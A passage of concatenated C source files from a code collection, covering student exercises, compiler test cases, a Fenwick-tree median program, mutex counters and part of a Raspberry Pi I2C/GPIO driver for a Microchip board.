return 0;
}
void lerMatriz(float m[L][C]) {
for (int i = 0; i < L; i++) {
for (int j = 0; j < C; j++) {
printf("m[%d][%d]? ", i, j);
scanf("%f", &m[i][j]);
}
}
}
void escreverMatriz(float m[L][C]) {
for (int i = 0; i < L; i++) {
for (int j = 0; j < C; j++)
printf(" %4.2f ", m[i][j]);
printf("\n");
}
}
|
the_stack_data/87638336.c
|
int __lv0 = 0;
int __lv1 = 1;
int __lv2 = 2;
int __lv3 = 3;
int main(int argc, char* argv[])
{
//scilab_rt_init(argc, argv, COLD_MODE_STANDALONE);
int _u_N = 100;
double _u_A[100][100];
//scilab_rt_zeros_i0i0_d2(_u_N,_u_N,100,100,_u_A);
for (int _u_ii=1; _u_ii<=_u_N; _u_ii++) {
for (int _u_jj=1; _u_jj<=_u_N; _u_jj++) {
_u_A[_u_ii-1][_u_jj-1] = 1.0 + (double) (__lv0+__lv1+__lv2+__lv3);
}
}
//scilab_rt_disp_d2_(100,100,_u_A);
//scilab_rt_terminate();
return 0;
}
|
the_stack_data/907685.c
|
// Replace this file with the Solution for Project Euler Problem #040
// Project Euler Problem: #040
// Repository Maintainer: https://www.github.com/theSwapnilSaste
// File Creation Date : 14th March 2020
// Solution Author : **** Insert Your Name/Github Handle Here ***
// Solution added on : **** Insert Date here ****
// Problem Status : Complete/Incomplete/Need Improvement etc.
// Space for Notes
// .
// .
|
the_stack_data/6387146.c
|
int api_openwin(char *buf, int xsiz, int ysiz, int col_inv, char *title);
void api_putstrwin(int win, int x, int y, int col, int len, char *str);
void api_boxfilwin(int win, int x0, int y0, int x1, int y1, int col);
void api_initmalloc(void);
char *api_malloc(int size);
void api_point(int win, int x, int y, int col);
void api_refreshwin(int win, int x0, int y0, int x1, int y1);
void api_end(void);
int _next;
int rand(void) {
_next = (_next * 1103515245) + 12345;
return ((_next >> 16) & 0x7fff);
}
void HariMain(void) {
char *buf;
int win, i, x, y;
api_initmalloc();
buf = api_malloc(150 * 100);
win = api_openwin(buf, 150, 100, -1, "stars");
api_boxfilwin(win + 1, 6, 26, 143, 93, 0 /* 黒 */);
for (i = 0; i < 50; i++) {
x = (rand() % 137) + 6;
y = (rand() % 67) + 26;
api_point(win + 1, x, y, 3 /*黄*/);
}
api_refreshwin(win, 6, 26, 144, 94);
api_end();
}
|
the_stack_data/140766551.c
|
#include<stdio.h>
#include<stdlib.h>
#include<malloc.h>
#include<string.h>
typedef int elemnet;
typedef struct {
elemnet *data;
int cap;
int top;
}StackType;
void init_stack(StackType *s)
{
s->cap = 1;
s->top = -1;
s->data = (elemnet *)malloc(s->cap * sizeof(elemnet));
}
int is_full(StackType *s)
{
return (s->top == (s->cap - 1));
}
int is_empty(StackType *s)
{
return (s->top == -1);
}
void push(StackType *s, elemnet item)
{
if(is_full(s)) {
s->cap *= 2;
s->data = (elemnet *)realloc(s->data, (s->cap)*sizeof(elemnet));
}
s->data[++(s->top)] = item;
}
void pop(StackType *s)
{
if(is_empty(s)) {
printf("-1\n");
}
else {
printf("%d\n", s->data[(s->top)--]);
}
}
void size(StackType *s)
{
printf("%d\n", s->top + 1);
}
void top(StackType *s)
{
if (is_empty(s)) {
printf("-1\n");
}
else {
printf("%d\n", s->data[s->top]);
}
}
int main()
{
StackType ss;
init_stack(&ss);
int n, nn;
char *cc;
char c[12] = "\0";
scanf("%d", &n);
for (int i = 0; i < n; i++) {
scanf(" %[^\n]s", c);
if (!strcmp(c,"top")) {
top(&ss);
}
else if (!strcmp(c,"size")) {
size(&ss);
}
else if (!strcmp(c,"empty")) {
printf("%d\n", is_empty(&ss));
}
else if (!strcmp(c,"pop")) {
pop(&ss);
}
else {
cc = strtok(c, " ");
cc = strtok(NULL, " ");
nn = atoi(cc);
push(&ss, nn);
}
}
free(ss.data);
return 0;
}
|
the_stack_data/51699927.c
|
typedef int INT;
typedef enum _INTEL_CACHE_TYPE {
IntelCacheNull,
IntelCacheTrace=10
} INTEL_CACHE_TYPE;
struct bft {
unsigned int a:3;
unsigned int b:1;
// an anonymous bitfield
signed int :2;
// with typedef
INT x:1;
// made of sizeof
unsigned int abc: sizeof(int);
// enums are integers!
INTEL_CACHE_TYPE Type : 5;
// and good as field sizes
INTEL_CACHE_TYPE Field2 : IntelCacheTrace;
};
int main() {
struct bft bf;
assert(bf.a<=7);
assert(bf.b<=1);
bf.Type=IntelCacheTrace;
}
|
the_stack_data/253783.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strlen.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: nshelly <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/04/07 11:53:55 by nshelly #+# #+# */
/* Updated: 2019/04/11 04:58:48 by nshelly ### ########.fr */
/* */
/* ************************************************************************** */
#include <string.h>
size_t ft_strlen(const char *s)
{
int i;
i = 0;
while (s[i] != '\0')
i++;
return (i);
}
|
the_stack_data/12015.c
|
/* Source code from Chapter 1, Movie 6 */
#include <stdio.h>
int main()
{
int a,b;
printf("Type a positive value: ");
scanf("%d",&b);
for(a=0;a<b;a++)
{
printf("I must do this %d times\n",b);
if(a==9)
break;
}
return(0);
}
|
the_stack_data/1184333.c
|
// RUN: %clang_cc1 -triple mips-unknown-linux-gnu -S -emit-llvm -o - %s | FileCheck -check-prefix=O32 %s
// RUN: %clang_cc1 -triple mipsel-unknown-linux-gnu -S -emit-llvm -o - %s | FileCheck -check-prefix=O32 %s
// RUN: %clang_cc1 -triple mipsisa32r6-unknown-linux-gnu -S -emit-llvm -o - %s | FileCheck -check-prefix=O32 %s
// RUN: %clang_cc1 -triple mipsisa32r6el-unknown-linux-gnu -S -emit-llvm -o - %s | FileCheck -check-prefix=O32 %s
// RUN: %clang_cc1 -triple mips64-unknown-linux-gnu -S -emit-llvm -o - %s -target-abi n32 | FileCheck -check-prefix=N32 %s
// RUN: %clang_cc1 -triple mips64el-unknown-linux-gnu -S -emit-llvm -o - %s -target-abi n32 | FileCheck -check-prefix=N32 %s
// RUN: %clang_cc1 -triple mipsisa64r6-unknown-linux-gnu -S -emit-llvm -o - %s -target-abi n32 | FileCheck -check-prefix=N32 %s
// RUN: %clang_cc1 -triple mipsisa64r6el-unknown-linux-gnu -S -emit-llvm -o - %s -target-abi n32 | FileCheck -check-prefix=N32 %s
// RUN: %clang_cc1 -triple mips64-unknown-linux-gnuabin32 -S -emit-llvm -o - %s | FileCheck -check-prefix=N32 %s
// RUN: %clang_cc1 -triple mips64el-unknown-linux-gnuabin32 -S -emit-llvm -o - %s | FileCheck -check-prefix=N32 %s
// RUN: %clang_cc1 -triple mipsisa64r6-unknown-linux-gnuabin32 -S -emit-llvm -o - %s | FileCheck -check-prefix=N32 %s
// RUN: %clang_cc1 -triple mipsisa64r6el-unknown-linux-gnuabin32 -S -emit-llvm -o - %s | FileCheck -check-prefix=N32 %s
// RUN: %clang_cc1 -triple mips64-unknown-linux-gnu -S -emit-llvm -o - %s | FileCheck -check-prefix=N64 %s
// RUN: %clang_cc1 -triple mips64el-unknown-linux-gnu -S -emit-llvm -o - %s | FileCheck -check-prefix=N64 %s
// RUN: %clang_cc1 -triple mipsisa64r6-unknown-linux-gnu -S -emit-llvm -o - %s | FileCheck -check-prefix=N64 %s
// RUN: %clang_cc1 -triple mipsisa64r6el-unknown-linux-gnu -S -emit-llvm -o - %s | FileCheck -check-prefix=N64 %s
// RUN: %clang_cc1 -triple mips64-unknown-linux-gnuabi64 -S -emit-llvm -o - %s | FileCheck -check-prefix=N64 %s
// RUN: %clang_cc1 -triple mips64el-unknown-linux-gnuabi64 -S -emit-llvm -o - %s | FileCheck -check-prefix=N64 %s
// RUN: %clang_cc1 -triple mipsisa64r6-unknown-linux-gnuabi64 -S -emit-llvm -o - %s | FileCheck -check-prefix=N64 %s
// RUN: %clang_cc1 -triple mipsisa64r6el-unknown-linux-gnuabi64 -S -emit-llvm -o - %s | FileCheck -check-prefix=N64 %s
// O32: define void @fn28(%struct.T2* noalias sret(%struct.T2) align 1 %agg.result, i8 signext %arg0)
// N32: define void @fn28(i8 signext %arg0)
// N64: define void @fn28(i8 signext %arg0)
typedef struct T2 { } T2;
T2 T2_retval;
T2 fn28(char arg0) {
return T2_retval;
}
|
the_stack_data/35753.c
|
void gdk_pixbuf_xlib_get_from_drawable() {} ;
void gdk_pixbuf_xlib_init() {} ;
void gdk_pixbuf_xlib_init_with_depth() {} ;
void gdk_pixbuf_xlib_render_pixmap_and_mask() {} ;
void gdk_pixbuf_xlib_render_threshold_alpha() {} ;
void gdk_pixbuf_xlib_render_to_drawable() {} ;
void gdk_pixbuf_xlib_render_to_drawable_alpha() {} ;
void xlib_draw_gray_image() {} ;
void xlib_draw_indexed_image() {} ;
void xlib_draw_rgb_32_image() {} ;
void xlib_draw_rgb_image() {} ;
void xlib_draw_rgb_image_dithalign() {} ;
void xlib_rgb_cmap_free() {} ;
void xlib_rgb_cmap_new() {} ;
void xlib_rgb_ditherable() {} ;
void xlib_rgb_gc_set_background() {} ;
void xlib_rgb_gc_set_foreground() {} ;
void xlib_rgb_get_cmap() {} ;
void xlib_rgb_get_depth() {} ;
void xlib_rgb_get_display() {} ;
void xlib_rgb_get_screen() {} ;
void xlib_rgb_get_visual() {} ;
void xlib_rgb_get_visual_info() {} ;
void xlib_rgb_init() {} ;
void xlib_rgb_init_with_depth() {} ;
void xlib_rgb_set_install() {} ;
void xlib_rgb_set_min_colors() {} ;
void xlib_rgb_set_verbose() {} ;
void xlib_rgb_xpixel_from_rgb() {} ;
|
the_stack_data/78704.c
|
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int suma(int a, int b){
return a+b;
}
int resta(int a, int b){
return a-b;}
int main(){
int num1 = 12;
int num2 = 3;
int op1 = suma(num1,num2);
printf("%i",op1);
int op2 = resta(num1,num2);
printf("%i",op2);
return 0;
}
|
the_stack_data/62638739.c
|
/* Simple program to examine how are different data types encoded in memory */
#include <stdio.h>
/*
* The macro determines size of given variable and then
* prints individual bytes of the value representation
*/
#define PRINT_MEM(a) print_mem((unsigned char*)&(a), sizeof(a))
void print_mem(unsigned char *ptr, int size) {
int i;
printf("address = 0x%08lx\n", (long unsigned int)ptr);
for (i = 0; i < size; i++) {
printf("0x%02x ", *(ptr+i));
}
printf("\n");
}
int main() {
/* try for more types: long, float, double, pointer */
unsigned int unsig = 5;
int sig = -5;
/* Read GNU C Library manual for conversion syntax for other types */
/* https://www.gnu.org/software/libc/manual/html_node/Formatted-Output.html */
printf("value = %d\n", unsig);
PRINT_MEM(unsig);
printf("\nvalue = %d\n", sig);
PRINT_MEM(sig);
long int li = 16;
printf("\nvalue = %li\n", li);
PRINT_MEM(li);
float fl = 2.75f;
printf("\nvalue = %f\n", fl);
PRINT_MEM(fl);
float fa = 0;
float fb = 0;
float fc = fa / fb;
printf("\nvalue = %f\n", fc);
PRINT_MEM(fc);
return 0;
}
|
the_stack_data/36988.c
|
#include <stdio.h>
#define lowbit(i) ((i)&(-i))//i第一位1和其左边全部的0,能整除i的最大的i的幂次
#define maxn 100010
int c[maxn];//树状数组
//stack<int> s;
int s[maxn],top=-1;
void update(int x,int v){//更新操作,将第x个数加上一个数v
int i;
for(i=x;i<maxn;i+=lowbit(i)){
c[i]+=v;
}
}
int getsum(int x){//返回前x个整数和
int sum=0,i;
for(i=x;i>0;i-=lowbit(i)){
sum+=c[i];
}
return sum;
}
void PeekMedian() {
int left=1,right=maxn,mid,k=top/2+1;
while(left<right) {
mid=(left+right)/2;
if(getsum(mid) >= k){
right=mid;
}else{
left=mid+1;
}
}
printf("%d\n",left);
}
int main(){
int n,temp;
int i;
char str[15];
scanf("%d", &n);
for(i=0;i<n;i++) {
scanf("%s",str);
if(str[1]=='u') {
scanf("%d", &temp);
s[++top]=temp;
update(temp,1);//位置temp+1
}else if(str[1]=='o') {
if(top>-1) {
update(s[top],-1);
printf("%d\n", s[top--]);
} else {
printf("Invalid\n");
}
}else{
if(top>-1){
PeekMedian();
}else{
printf("Invalid\n");
}
}
}
return 0;
}
|
the_stack_data/3263455.c
|
#include <stdio.h>
#include <stdlib.h>
#define MAX 10 //tamanho maximo do vetor
void preenche_vetor(int, int z[MAX]); //prototipo das funcoes (procedimentos)
void exibe_vetor(int, int []);
int remove_elemento(int k, int v[], int n);
int insere_elemento(int k, int y, int v[], int n);
int main(){
int indice, novo_tamanho, elemento, x[MAX];
preenche_vetor(MAX, x);
exibe_vetor(MAX, x); printf("\n");
printf("Remove elemento\n");
printf("Qual o indice do elemento que vc quer remover? ");
scanf(" %d", &indice);
novo_tamanho = remove_elemento(indice, x, MAX);
printf("O novo tamanho e´: %d\n", novo_tamanho);
exibe_vetor(novo_tamanho, x); printf("\n");
printf("Insere elemento\n");
printf("Qual elemento e em qual posicao que vc quer inserir? ");
scanf(" %d %d", &elemento, &indice);
insere_elemento(indice, elemento, x, novo_tamanho);
exibe_vetor(MAX, x);
getchar(); //no devC++ antes desta coloque system("pause"); ou getchar();
}
int remove_elemento(int indice, int v[], int n){
/* remove o elemento de índice indice do vetor v[0..n-1] e devolve
o novo valor de n. A função supõe, claro, que 0<=indice<n
*/
int j;
for(j=indice;j<n-1;j++){
v[j]=v[j+1];
}
return n-1;
}
int insere_elemento(int indice, int elemento, int v[], int n){
/* insere o elemento elemento entre as posições indice-1 e indice do vetor
e devolve o novo valor de n. Supõe que 0 <= indice <= n
*/
int j;
for(j=n;j>indice;j--){
v[j]=v[j-1];
}
v[indice] = elemento;
return n + 1;
}
void exibe_vetor(int tamanho, int v[]){ //Exibe o vetor do tipo int
int t;
printf("\nO vetor digitado eh\n\n");
for (t=0;t<tamanho;t++)
printf("%-3d ", v[t]);
}
void preenche_vetor(int tamanho, int vet[]){ // Preenche o vetor
int i;
for (i=0;i<tamanho;++i){ //quaisquer alteracoes aqui afetam x[MAX] (referencia)
printf("\nDigite o elemento %d do vetor: ", i);
scanf("%d", &vet[i]);
}
}
|
the_stack_data/7145.c
|
#include <pthread.h>
static int count = 0;
static pthread_mutex_t countlock = PTHREAD_MUTEX_INITIALIZER;
int increment(void) { /* increment the counter */
int error;
if (error = pthread_mutex_lock(&countlock))
return error;
count++;
return pthread_mutex_unlock(&countlock);
}
int decrement(void) { /* decrement the counter */
int error;
if (error = pthread_mutex_lock(&countlock))
return error;
count--;
return pthread_mutex_unlock(&countlock);
}
int getcount(int *countp) { /* retrieve the counter */
int error;
if (error = pthread_mutex_lock(&countlock))
return error;
*countp = count;
return pthread_mutex_unlock(&countlock);
}
|
the_stack_data/1006299.c
|
double d = 1.7976931348623157e+308;
|
the_stack_data/243893576.c
|
/* PR debug/49676 */
/* { dg-do run { target lp64 } } */
/* { dg-options "-g -fno-ipa-icf" } */
volatile int v;
__attribute__((noinline, noclone))
unsigned long long
foo (unsigned long long x)
{
unsigned long long a = x * (0x17ULL << 31); /* { dg-final { gdb-test 29 "a" "(0x17ULL << 31)" } } */
unsigned long long b = x * (0x7ULL << 33); /* { dg-final { gdb-test 29 "b" "(0x7ULL << 33)" } } */
unsigned long long c = x * (0x1ULL << 35); /* { dg-final { gdb-test 29 "c" "(0x1ULL << 35)" } } */
unsigned long long d = x * (0x17ULL << 15); /* { dg-final { gdb-test 29 "d" "(0x17ULL << 15)" } } */
unsigned long long e = x * (0x17ULL << 50); /* { dg-final { gdb-test 29 "e" "(0x17ULL << 50)" } } */
unsigned long long f = x * (0x37ULL << 31); /* { dg-final { gdb-test 29 "f" "(0x37ULL << 31)" } } */
unsigned long long g = x * (0x37ULL << 50); /* { dg-final { gdb-test 29 "g" "(0x37ULL << 50)" } } */
unsigned long long h = x * (0x1efULL << 33); /* { dg-final { gdb-test 29 "h" "(0x1efULL << 33)" } } */
unsigned long long i = x * (0x1efULL << 50); /* { dg-final { gdb-test 29 "i" "(0x1efULL << 50)" } } */
unsigned long long j = x * -(0x17ULL << 31); /* { dg-final { gdb-test 29 "j" "-(0x17ULL << 31)" } } */
unsigned long long k = x * -(0x7ULL << 33); /* { dg-final { gdb-test 29 "k" "-(0x7ULL << 33)" } } */
unsigned long long l = x * -(0x1ULL << 35); /* { dg-final { gdb-test 29 "l" "-(0x1ULL << 35)" } } */
unsigned long long m = x * -(0x17ULL << 15); /* { dg-final { gdb-test 29 "m" "-(0x17ULL << 15)" } } */
unsigned long long n = x * -(0x17ULL << 50); /* { dg-final { gdb-test 29 "n" "-(0x17ULL << 50)" } } */
unsigned long long o = x * -(0x37ULL << 31); /* { dg-final { gdb-test 29 "o" "-(0x37ULL << 31)" } } */
unsigned long long p = x * -(0x37ULL << 50); /* { dg-final { gdb-test 29 "p" "-(0x37ULL << 50)" } } */
unsigned long long q = x * -(0x1efULL << 33); /* { dg-final { gdb-test 29 "q" "-(0x1efULL << 33)" } } */
unsigned long long r = x * -(0x1efULL << 50); /* { dg-final { gdb-test 29 "r" "-(0x1efULL << 50)" } } */
v++;
return x;
}
__attribute__((noinline, noclone))
unsigned long long
bar (unsigned long long x)
{
unsigned long long a = (x & 255) + (0x17ULL << 31); /* { dg-final { gdb-test 55 "a" "(0x17ULL << 31)" } } */
unsigned long long b = (x & 255) + (0x7ULL << 33); /* { dg-final { gdb-test 55 "b" "(0x7ULL << 33)" } } */
unsigned long long c = (x & 255) + (0x1ULL << 35); /* { dg-final { gdb-test 55 "c" "(0x1ULL << 35)" } } */
unsigned long long d = (x & 255) + (0x17ULL << 15); /* { dg-final { gdb-test 55 "d" "(0x17ULL << 15)" } } */
unsigned long long e = (x & 255) + (0x17ULL << 50); /* { dg-final { gdb-test 55 "e" "(0x17ULL << 50)" } } */
unsigned long long f = (x & 255) + (0x37ULL << 31); /* { dg-final { gdb-test 55 "f" "(0x37ULL << 31)" } } */
unsigned long long g = (x & 255) + (0x37ULL << 50); /* { dg-final { gdb-test 55 "g" "(0x37ULL << 50)" } } */
unsigned long long h = (x & 255) + (0x1efULL << 33); /* { dg-final { gdb-test 55 "h" "(0x1efULL << 33)" } } */
unsigned long long i = (x & 255) + (0x1efULL << 50); /* { dg-final { gdb-test 55 "i" "(0x1efULL << 50)" } } */
unsigned long long j = (x & 255) + -(0x17ULL << 31); /* { dg-final { gdb-test 55 "j" "-(0x17ULL << 31)" } } */
unsigned long long k = (x & 255) + -(0x7ULL << 33); /* { dg-final { gdb-test 55 "k" "-(0x7ULL << 33)" } } */
unsigned long long l = (x & 255) + -(0x1ULL << 35); /* { dg-final { gdb-test 55 "l" "-(0x1ULL << 35)" } } */
unsigned long long m = (x & 255) + -(0x17ULL << 15); /* { dg-final { gdb-test 55 "m" "-(0x17ULL << 15)" } } */
unsigned long long n = (x & 255) + -(0x17ULL << 50); /* { dg-final { gdb-test 55 "n" "-(0x17ULL << 50)" } } */
unsigned long long o = (x & 255) + -(0x37ULL << 31); /* { dg-final { gdb-test 55 "o" "-(0x37ULL << 31)" } } */
unsigned long long p = (x & 255) + -(0x37ULL << 50); /* { dg-final { gdb-test 55 "p" "-(0x37ULL << 50)" } } */
unsigned long long q = (x & 255) + -(0x1efULL << 33); /* { dg-final { gdb-test 55 "q" "-(0x1efULL << 33)" } } */
unsigned long long r = (x & 255) + -(0x1efULL << 50); /* { dg-final { gdb-test 55 "r" "-(0x1efULL << 50)" } } */
v++;
return x;
}
int
main ()
{
return foo (1) + bar (256) - 257;
}
|
the_stack_data/154828458.c
|
/*------------------------------------------------------------------------------------------------*/
/* (c) 2018 Microchip Technology Inc. and its subsidiaries. */
/* */
/* You may use this software and any derivatives exclusively with Microchip products. */
/* */
/* THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR */
/* STATUTORY, APPLY TO THIS SOFTWARE, INCLUDING ANY IMPLIED WARRANTIES OF NON-INFRINGEMENT, */
/* MERCHANTABILITY, AND FITNESS FOR A PARTICULAR PURPOSE, OR ITS INTERACTION WITH MICROCHIP */
/* PRODUCTS, COMBINATION WITH ANY OTHER PRODUCTS, OR USE IN ANY APPLICATION. */
/* */
/* IN NO EVENT WILL MICROCHIP BE LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE, INCIDENTAL OR */
/* CONSEQUENTIAL LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND WHATSOEVER RELATED TO THE SOFTWARE, */
/* HOWEVER CAUSED, EVEN IF MICROCHIP HAS BEEN ADVISED OF THE POSSIBILITY OR THE DAMAGES ARE */
/* FORESEEABLE. TO THE FULLEST EXTENT ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS */
/* IN ANY WAY RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY, THAT YOU HAVE */
/* PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE. */
/* */
/* MICROCHIP PROVIDES THIS SOFTWARE CONDITIONALLY UPON YOUR ACCEPTANCE OF THESE TERMS. */
/*------------------------------------------------------------------------------------------------*/
/*! \file hw_raspi.c
* \brief HW Abstraction for Raspberry Pi
* \author Roland Trissl (RTR)
* \note For support related to this code contact http://www.microchip.com/support.
*
* Used Pins:
* PHY+ Board RasPI
* GND - Pin 9
* Pin 33 (SCL) - Pin 5 - GPIO 3 (SCL)
* Pin 35 (SDA) - Pin 3 - GPIO 2 (SDA)
* Pin 25 (Reset) - Pin 29 - GPIO 5
* Pin 27 (Err/Boot) - Pin 12 - GPIO 18
* Pin 34 (Int) - Pin 31 - GPIO 6
*/
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdlib.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <time.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <linux/i2c-dev.h>
#include <fcntl.h>
#include <linux/limits.h>
/*------------------------------------------------------------------------------------------------*/
/* USER ADJUSTABLE DEFINES */
/*------------------------------------------------------------------------------------------------*/
/* Board specific */
#define RESET_PIN "5" /* GPIO 5 */
#define BOOT_PIN "18" /* GPIO 18 */
#define INT_PIN "6" /* GPIO 6 */
#define I2C_CDEV "/dev/i2c-1"
/* HW specific */
#define HW_INIC_I2C_ADDR (0x40>>1) /* 0x20 */
#define HW_TRACEFILE "IPL_Log.txt"
#define HW_TRACELINE_MAXLEN 200
/* Should be valid for all kind of Linux */
#define GPIO_FOLDER "/sys/class/gpio/"
#define DIRECTION "direction"
#define DIRECTION_IN "in"
#define DIRECTION_OUT "out"
#define VALUE "value"
#define VALUE_0 "0"
#define VALUE_1 "1"
#define RESETCOLOR "\033[0m"
#define GREEN "\033[0;32m"
#define RED "\033[0;31m"
#define YELLOW "\033[1;33m"
#define BLUE "\033[0;34m"
/*------------------------------------------------------------------------------------------------*/
/* AUTOMATIC DEFINED (DO NOT CHANGE) */
/*------------------------------------------------------------------------------------------------*/
#define GPIO_EXPORT GPIO_FOLDER "export"
#define RESET_PIN_FOLDER GPIO_FOLDER "gpio" RESET_PIN "/"
#define BOOT_PIN_FOLDER GPIO_FOLDER "gpio" BOOT_PIN "/"
#define INT_PIN_FOLDER GPIO_FOLDER "gpio" INT_PIN "/"
/*------------------------------------------------------------------------------------------------*/
/* FUNCTION PROTOTYPES */
/*------------------------------------------------------------------------------------------------*/
uint16_t Hw_GetTime(void);
char Hw_GetKey(void);
static bool WriteCharactersToFile( const char *pFileName, const char *pString );
static bool ReadFromFile( const char *pFileName, char *pString, uint16_t bufferLen );
static bool ExistsDevice( const char *pDeviceName );
static bool WaitForDevice( const char *pDeviceName );
static void SetI2CAddress(uint8_t addr);
static const char *GetErrnoString();
int getch();
int kbhit(void);
/*------------------------------------------------------------------------------------------------*/
/* VARIABLES */
/*------------------------------------------------------------------------------------------------*/
static int m_fh = -1;
static uint8_t m_addr = 0xFF;
static FILE* tracefile = NULL;
/*------------------------------------------------------------------------------------------------*/
/* IPL CALLBACK FUNCTIONS */
/*------------------------------------------------------------------------------------------------*/
uint8_t Ipl_InicDriverOpen(void)
{
FILE *hfile = NULL;
char tracepath[PATH_MAX];
/* Create Logfile */
strcpy(tracepath, getenv("HOME"));
strcat(tracepath, "/");
strcat(tracepath, HW_TRACEFILE);
hfile = fopen(tracepath, "w");
if (hfile == NULL) return 11U;
tracefile = hfile;
if ((m_fh = open(I2C_CDEV, O_RDWR)) < 0)
{
printf("Failed to open the i2c bus, error=%s\n", GetErrnoString());
return 1U;
}
if (!WriteCharactersToFile(GPIO_EXPORT, RESET_PIN)) return 2U;
if (!WriteCharactersToFile(GPIO_EXPORT, BOOT_PIN)) return 3U;
if (!WriteCharactersToFile(GPIO_EXPORT, INT_PIN)) return 4U;
if (!WaitForDevice(RESET_PIN_FOLDER)) return 5U;
if (!WriteCharactersToFile(RESET_PIN_FOLDER DIRECTION, DIRECTION_OUT)) return 6U;
if (!WaitForDevice(BOOT_PIN_FOLDER)) return 7U;
if (!WriteCharactersToFile(BOOT_PIN_FOLDER DIRECTION, DIRECTION_OUT)) return 8U;
if (!WaitForDevice(INT_PIN_FOLDER)) return 9U;
if (!WriteCharactersToFile(INT_PIN_FOLDER DIRECTION, DIRECTION_IN)) return 10U;
return 0U;
}
uint8_t Ipl_InicDriverClose(void)
{
if (-1 == m_fh) return 1U;
close(m_fh);
m_fh = -1;
m_addr = 0xFF;
/* Close Logfile */
if (tracefile == NULL) return 2U;
(void)fflush(tracefile);
fclose(tracefile);
return 0U;
}
uint8_t Ipl_SetResetPin(uint8_t lowHigh)
{
WriteCharactersToFile(RESET_PIN_FOLDER VALUE, lowHigh ? VALUE_1 : VALUE_0);
return 0U;
}
uint8_t Ipl_SetErrBootPin(uint8_t lowHigh)
{
WriteCharactersToFile(BOOT_PIN_FOLDER VALUE, lowHigh ? VALUE_1 : VALUE_0);
return 0U;
}
uint8_t Ipl_GetIntPin(void)
{
char buffer[4];
if (ReadFromFile(INT_PIN_FOLDER VALUE, buffer, sizeof(buffer)))
{
if (0 == strcmp(VALUE_1, buffer))
{
return 1U;
}
else
{
return 0U;
}
}
return 2U;
}
uint8_t Ipl_InicWrite(uint8_t lData, uint8_t* pData)
{
if (-1 == m_fh) return 1U;
SetI2CAddress(HW_INIC_I2C_ADDR);
if (write(m_fh, pData, lData) != lData)
{
printf("LldInic_I2cWrite failed, error=%s\n", GetErrnoString());
return 2U;
}
return 0U;
}
uint8_t Ipl_InicRead(uint8_t lData, uint8_t* pData)
{
if (-1 == m_fh) return 1U;
SetI2CAddress(HW_INIC_I2C_ADDR);
if (read(m_fh, pData, lData) != lData)
{
printf("LldInic_I2cWrite failed, error=%s\n", GetErrnoString());
return 2U;
}
return 0U;
}
void Ipl_Sleep(uint32_t TimeMs)
{
usleep(1000 * TimeMs);
}
void Ipl_Trace(const char *tag, const char* fmt, ...)
{
va_list args;
if ( NULL != tracefile)
{
if ( NULL != tag )
{
fprintf(tracefile,"%s %06d ", tag, Hw_GetTime());
va_start(args, fmt);
vfprintf(tracefile, fmt, args);
va_end(args);
fprintf(tracefile, "\n");
fflush(tracefile);
}
}
/* Print on stderr
if ( NULL != tag )
{
fprintf(stderr,"%s %06d ", tag, Hw_GetTime());
va_list args;
va_start(args, fmt);
vfprintf(stderr, fmt, args);
va_end(args);
fprintf(stderr, "\r\n");
} */
}
uint16_t Hw_GetTime(void)
{
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return (uint16_t)((uint64_t)(ts.tv_sec) * 1000) + (uint16_t)(ts.tv_nsec / 1000000);
}
char Hw_GetKey(void)
{
char ch = ' ';
while ( 0U != kbhit() )
{
ch = getch();
}
return ch;
}
/*------------------------------------------------------------------------------------------------*/
/* PRIVATE FUNCTION IMPLEMENTATIONS */
/*------------------------------------------------------------------------------------------------*/
static bool WriteCharactersToFile( const char *pFileName, const char *pString )
{
bool success = false;
FILE *fh = fopen( pFileName, "a" );
if( NULL != fh )
{
int result = fputs( pString, fh );
if( result >= 0 )
fputc( '\n', fh );
if( result >= 0 )
success = true;
fclose( fh );
}
if (!success)
{
printf( "WriteCharactersToFile failed for file '%s', errno:'%s'\n", pFileName, GetErrnoString() );
}
return success;
}
static bool ReadFromFile( const char *pFileName, char *pString, uint16_t bufferLen )
{
FILE *fh;
bool success = false;
if( NULL == pString || 0 == bufferLen )
return success;
fh = fopen( pFileName, "r" );
if( NULL != fh )
{
success = ( NULL != fgets( pString, bufferLen, fh ) );
fclose( fh );
}
if( !success )
{
printf( "ReadFromFile failed for file '%s', errno:'%s'\n", pFileName, GetErrnoString() );
}
return success;
}
static bool ExistsDevice( const char *pDeviceName )
{
struct stat buffer;
return ( stat( pDeviceName, &buffer ) == 0 );
}
static bool WaitForDevice( const char *pDeviceName )
{
int timeout;
bool deviceExists = false;
for( timeout = 0; timeout < 40; timeout++ )
{
deviceExists = ExistsDevice( pDeviceName );
if( deviceExists )
{
break;
}
else
{
usleep( 2500 );
}
}
if( !deviceExists )
{
printf( "Waiting for device '%s' to appear, timed out\n", pDeviceName );
}
return deviceExists;
}
static void SetI2CAddress(uint8_t addr)
{
if (addr == m_addr) return;
if (ioctl(m_fh, I2C_SLAVE, addr) < 0)
{
printf("Could not find slave address of INIC=0x%X.\n", addr);
exit(1);
}
m_addr = addr;
}
static const char *GetErrnoString()
{
switch( errno )
{
case 0:
return "Nothing stored in errno";
case 1:
return "Operation not permitted";
case 2:
return "No such file or directory";
case 3:
return "No such process";
case 4:
return "Interrupted system call";
case 5:
return "I/O error";
case 6:
return "No such device or address";
case 7:
return "Argument list too long";
case 8:
return "Exec format error";
case 9:
return "Bad file number";
case 10:
return "No child processes";
case 11:
return "Try again";
case 12:
return "Out of memory";
case 13:
return "Permission denied";
case 14:
return "Bad address";
case 15:
return "Block device required";
case 16:
return "Device or resource busy";
case 17:
return "File exists";
case 18:
